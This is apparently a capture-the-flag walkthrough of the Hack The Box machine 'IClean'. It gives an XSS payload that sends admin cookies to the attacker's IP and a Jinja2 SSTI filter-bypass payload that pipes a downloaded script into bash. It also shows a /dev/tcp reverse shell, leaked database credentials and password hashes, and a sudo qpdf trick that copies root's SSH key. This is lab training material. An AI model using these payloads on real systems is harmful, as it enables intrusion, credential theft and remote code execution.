ICLEAN

I began scanning the IP address using Nmap

nmap -A 10.10.11.12                                
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_  256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I used a simple curl command to access the website

curl http://10.10.11.12/                         
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0;url=http://capiclean.htb">
</head>
<body>
    <!-- Optional content for users without JavaScript -->
    <p>If you are not redirected, <a href="http://capiclean.htb">click here</a>.</p>
</body>
</html>

So, we need to add the domain "cpiclean.htb" to /etc/hosts. After that i started fuzzing directories using ffuf.

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://capiclean.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://capiclean.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

about                   [Status: 200, Size: 5267, Words: 1036, Lines: 130,
login                   [Status: 200, Size: 2106, Words: 297, Lines: 88
services                [Status: 200, Size: 8592, Words: 2325, Lines: 193
team                    [Status: 200, Size: 8109, Words: 2068, Lines: 183
quote                   [Status: 200, Size: 2237, Words: 98, Lines: 90
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6
dashboard               [Status: 302, Size: 189, Words: 18, Lines: 6
choose                  [Status: 200, Size: 6084, Words: 1373, Lines: 154

Then i navigate to the quote page where you'll notice a form that can be submitted with a POST request to the admins so decided to inject a reflected XSS to steal session cookies of the admins, i crafted this request using Burp Suite. ![[Pasted image 20240417213017.png]]

The JavaScript code

<img src=x onerror=this.src="http://10.10.14.128:80/"+btoa(document.cookie)>

After sending it, i used netcat with the same port as the crafted js code.

nc -lnvp 80  
listening on [any] 80 ...
connect to [10.10.14.128] from (UNKNOWN) [10.10.11.12] 52942
GET /c2Vzc2lvbj1leUp5YjJ4bElqb2lNakV5TXpKbU1qazNZVFUzWVRWaE56UXpPRGswWVRCbE5HRTRNREZtWXpNaWZRLlpoNkg3Zy5HT0NwbXQ2ZlhobXd1UkxFN3RjUXVjQkprOXc= HTTP/1.1
Host: 10.10.14.128
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Boom! You'll intercept the session cookie of the admin. You just need to decode it and use it then, go to the dashboard page at the path /QRGenerator where you'll find a blind Server-Side Template Injection (SSTI). You need to check the HTML source code or use Burp Suite

SSTI payload

{{7*7}}

And we know the application was created using Python and Flask framework, as determined by using the Wappalyzer plugin so the SSTI vulnerability is in Jinja2. After attempting to obtain a shell and bypass the filter and i successfully identified the bypass, i recommend you navigating to this page server side template for more information on bypassing filters and understanding how they actually work

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}

And create a simple reverse shell file

#!/bin/bash
bash -c "bash -i >& /dev/tcp/IP/4000 0>&1"

And host it with a Python server. Then i used netcat with the same port as in the reverse shell and Lastly send the request with Burp Suite, and you will get the shell.

rlwrap nc -lnvp 4444                                       
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.12] 35036
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
whoami
www-data

And as always, the first thing i do is list all listening ports.

www-data@iclean:/opt/app$ ss -tupln
ss -tupln
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                           
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                     
udp   UNCONN 0      0        224.0.0.251:5353       0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:5353       0.0.0.0:*                                     
udp   UNCONN 0      0            0.0.0.0:52759      0.0.0.0:*                                     
udp   UNCONN 0      0               [::]:55629         [::]:*                                     
udp   UNCONN 0      0               [::]:5353          [::]:*                                     
tcp   LISTEN 0      128        127.0.0.1:3000       0.0.0.0:*    users:(("python3",pid=1211,fd=4))
tcp   LISTEN 0      10         127.0.0.1:35621      0.0.0.0:*                                     
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*                                     
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                     
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*                                     
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*                                     
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                     
tcp   LISTEN 0      128             [::]:22            [::]:*     

I found that MySQL is running. Trying to log in with default credentials did not work so i read the source code of the application and found a user and password credentials when connecting to database

www-data@iclean:/opt/app$ cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
import hashlib
import os
import random, string
import pyqrcode
from jinja2 import StrictUndefined
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False

secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

app._static_folder = os.path.abspath("/opt/app/static/")

def rdu(value):
    return str(value).replace('__', '')

def sanitize(input):
                sanitized_output = re.sub(r'[^a-zA-Z0-9@. ]', '', input)
                return sanitized_output

app.jinja_env.undefined = StrictUndefined
app.jinja_env.filters['remove_double_underscore'] = rdu

valid_invoice_ids = []

def add_valid_invoice_id(invoice_id):
    valid_invoice_ids.append(invoice_id)

def get_allowed_invoice_ids():
    return valid_invoice_ids

def validate_invoice_id(provided_id):
    allowed_invoice_ids = get_allowed_invoice_ids()  
    return provided_id in allowed_invoice_ids

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/quote')
def quote():
    return render_template('quote.html')

@app.route('/services')
def services():
    return render_template('services.html')

@app.route('/about')
def about():
    return render_template('about.html')

@app.route('/choose')
def choose():
    return render_template('choose.html')

@app.route('/team')
def team():
    return render_template('team.html')

@app.route('/EditServices', methods=['GET', 'POST'])
def editservices():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('EditServices.html', services=services)
        elif request.method == 'POST':
            selected_service = request.form['selected_service']
            return redirect(url_for('edit_service_details', service=selected_service))
        else:
            return make_response('Invalid request format.', 400)
    else:
        return redirect(url_for('index'))

@app.route('/EditServiceDetails/<service>', methods=['GET', 'POST'])
def edit_service_details(service):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT * FROM services WHERE service_name = %s', (service,))
                    result = cursor.fetchone()
            return render_template('EditServiceDetails.html', service=result)
        elif request.method == 'POST':
            description = request.form['description']
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('UPDATE services SET service_description = %s WHERE service_name = %s', (description, service))
                    conn.commit()
            return redirect(url_for('editservices'))
        else:
            return make_response('Invalid request format.', 400)
    else:
        return redirect(url_for('index'))


@app.route('/dashboard')
def dashboard():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        return render_template('dashboard.html')
    else:
        return redirect(url_for('index'))

@app.route('/sendMessage', methods=['POST'])
def quote_requests():
    
    conn = pymysql.connect(**db_config)

    cursor = conn.cursor()
    checkboxes = request.form.getlist('service')
    email = request.form.get('email')

    checkboxes_str = ', '.join(checkboxes)

    query = "INSERT INTO quote_requests (checkboxes, email) VALUES (%s, %s)"
    cursor.execute(query, (checkboxes_str, email))
    conn.commit()
 
    cursor.close()
    conn.close()

    return render_template('quote_requests_thankyou.html')

@app.route('/QuoteRequests', methods=['GET'])
def get_quote_requests():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "SELECT * FROM quote_requests"
        cursor.execute(query)
        data = cursor.fetchall()

        cursor.close()
        conn.close()

        ids = []

        for row in data:
            ids.append(row[0])

        return render_template('QuoteRequests.html', ids=ids)


@app.route('/QuoteRequests/<int:quote_id>', methods=['GET'])
def get_single_quote_request(quote_id):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "SELECT * FROM quote_requests WHERE quote_id = %s"
        cursor.execute(query, (quote_id,))
        data = cursor.fetchall()

        cursor.close()
        conn.close()

        for row in data:
            checkboxes = row[1]
            email = row[2]

        return render_template('QuoteRequestDetail.html', email=email, services=checkboxes)

@app.route('/QuoteRequests/delete/<int:quote_id>', methods=['GET'])
def delete_single_quote_request(quote_id):
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        conn = pymysql.connect(**db_config)
        cursor = conn.cursor()

        query = "DELETE FROM quote_requests WHERE quote_id = %s"
        cursor.execute(query, (quote_id,))
        data = cursor.fetchall()

        conn.commit()

        cursor.close()
        conn.close()

        return redirect(url_for('get_quote_requests'))

@app.route('/QRInvoice/<filename>')
def QRInvoice(filename):
    return render_template(filename)

@app.route('/Invoice/<filename>')
def Invoice(filename):
    return render_template(filename)

random_number = None

@app.route('/InvoiceGenerator', methods=['GET', 'POST'])
def InvoiceGenerator():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('InvoiceGenerator.html', services=services)
        if request.method == 'POST':
            random_number = ''.join(random.choices(string.digits, k=10))
            add_valid_invoice_id(random_number)
            
            quantity_chosen = sanitize(request.form['qty'])
            client_email = sanitize(request.form['email-address'])
            client_address = sanitize(request.form['address'])
            project_name = sanitize(request.form['project'])
            client_name = sanitize(request.form['client'])
            service_chosen = sanitize(request.form['selected_service'])
            
            rendered_template = render_template('template_invoice.html', service_chosen=service_chosen, project_name=project_name, client_name=client_name, client_address=client_address, client_email=client_email, quantity_chosen=quantity_chosen)                     
            
            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
                html_file.write(rendered_template)
            
            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
                modified_content = html_file.read()

            qr_code_img_tag = '''<div class="qr-code-container"><div class="qr-code"><img src="data:image/png;base64,

<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'></div>" alt="QR Code"></div>'''
            modified_content = modified_content.replace('</body>', f'{qr_code_img_tag}\n</body>')

            with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'w') as html_file:
                html_file.write(modified_content)

            return render_template('Invoice.html', invoice_id=random_number)
        
        return render_template('InvoiceGenerator.html')
    else:
        return redirect(url_for('index'))

@app.route('/QRGenerator', methods=['GET', 'POST'])
def QRGenerator():
    if session.get('role') == hashlib.md5(b'admin').hexdigest():
        if request.method == 'GET':
            with pymysql.connect(**db_config) as conn:
                with conn.cursor() as cursor:
                    cursor.execute('SELECT service_name FROM services')
                    services = [row[0] for row in cursor.fetchall()]
            return render_template('QRGenerator.html', services=services)

        if request.method == 'POST':
            form_type = request.form['form_type']
            if form_type == 'invoice_id':
                invoice_id = request.form['invoice_id']
                if validate_invoice_id(invoice_id):
                    filename = f'invoice_{invoice_id}.html'
                    with open(os.path.join('/opt/app/templates/', 'temporary_invoice.html'), 'r') as html_file:
                        temp_invoice = html_file.read()
                    with open(os.path.join('/opt/app/templates/', filename), 'w') as html_file:
                        html_file.write(temp_invoice)

                    invoice_url = url_for('QRInvoice', filename=filename, _external=True)
                    qr_image = pyqrcode.create(invoice_url)
                    qr_image.png(os.path.join('/opt/app/static/qr_code', f'qr_code_{invoice_id}.png'), scale=2, module_color=[0, 0, 0, 128], background=[0xff, 0xff, 0xff])
                    png_link = url_for('static', filename=f'qr_code/qr_code_{invoice_id}.png', _external=True)
                    
                    return render_template('QRGenerator2.html', png_link=png_link)
            elif form_type == 'scannable_invoice':
                qr_link = rdu(request.form['qr_link'])
                if 'http://capiclean.htb' in qr_link:
                    qr = requests.get(qr_link)
                    image_content = qr.content
                    qr_url = base64.b64encode(image_content).decode('utf-8')
                
                    HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
                    HTML += '{}'.format(qr_url)
                    HTML += '</div>'
                    rendered_template = render_template_string(HTML)
                    
                    return rendered_template
                else:
                    HTML = f"{<div data-gb-custom-block data-tag="extends" data-0='temporary_invoice.html'></div>}{<div data-gb-custom-block data-tag="block" data-0='1' data-1='1' data-2='1' data-3='1' data-4='1' data-5='1' data-6='1' data-7='1' data-8='1' data-9='1'>}"
                    HTML += '{}'.format(qr_link)
                    HTML += '</div>'
                    rendered_template = render_template_string(HTML)
                    
                    return rendered_template

            else:
                return redirect(url_for('QRGenerator'))
        return render_template('QRGenerator.html')
    else:
        return redirect(url_for('index'))



@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html', error=False)
    elif request.method == 'POST':
        username = request.form['username']
        password = hashlib.sha256(request.form['password'].encode()).hexdigest()

        with pymysql.connect(**db_config) as conn:
            with conn.cursor() as cursor:
                cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
                result = cursor.fetchone()

                if result is None:
                    return render_template('login.html',error='Invalid username or password')
                else:
                    session['role'] = result[0]
                    if session['role'] == hashlib.md5(b'admin').hexdigest():
                        return redirect(url_for('dashboard'))
                    else:
                        return redirect(url_for('/'))
    else:
        return make_response('Invalid request format.', 400)


if __name__ == '__main__':
    app.run(port=3000)

Using these credentials i connected to MySQL and it worked and i used the same database name with the same table as in the source code and I got the hash for the user 'consuela'.

mysql -u iclean -p -h 127.0.0.1
Enter password: pxCsmnGLckUb
USE capiclean;
SELECT * FROM users;
selec;
id      username        password        role_id
1       admin   2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51        21232f297a57a5a743894a0e4a801fc3
2       consuela        0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa        ee11cbb19052e40b07aac0ca060c23ee

So i cracked the hash and used his password to connect to SSH then i used sudo -l and found that the user can use qpdf as root

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

After Googling and searching how to use it i found a way to attach the SSH private key of the root to a PDF .

sudo /usr/bin/qpdf random_pdf.pdf --qdf --add-attachment /root/.ssh/id_rsa --

And you will use the id_rsa to connect as root and get the flag.

I hope you enjoyed reading it if you have any suggestions or comments, let me know

Last updated

Was this helpful?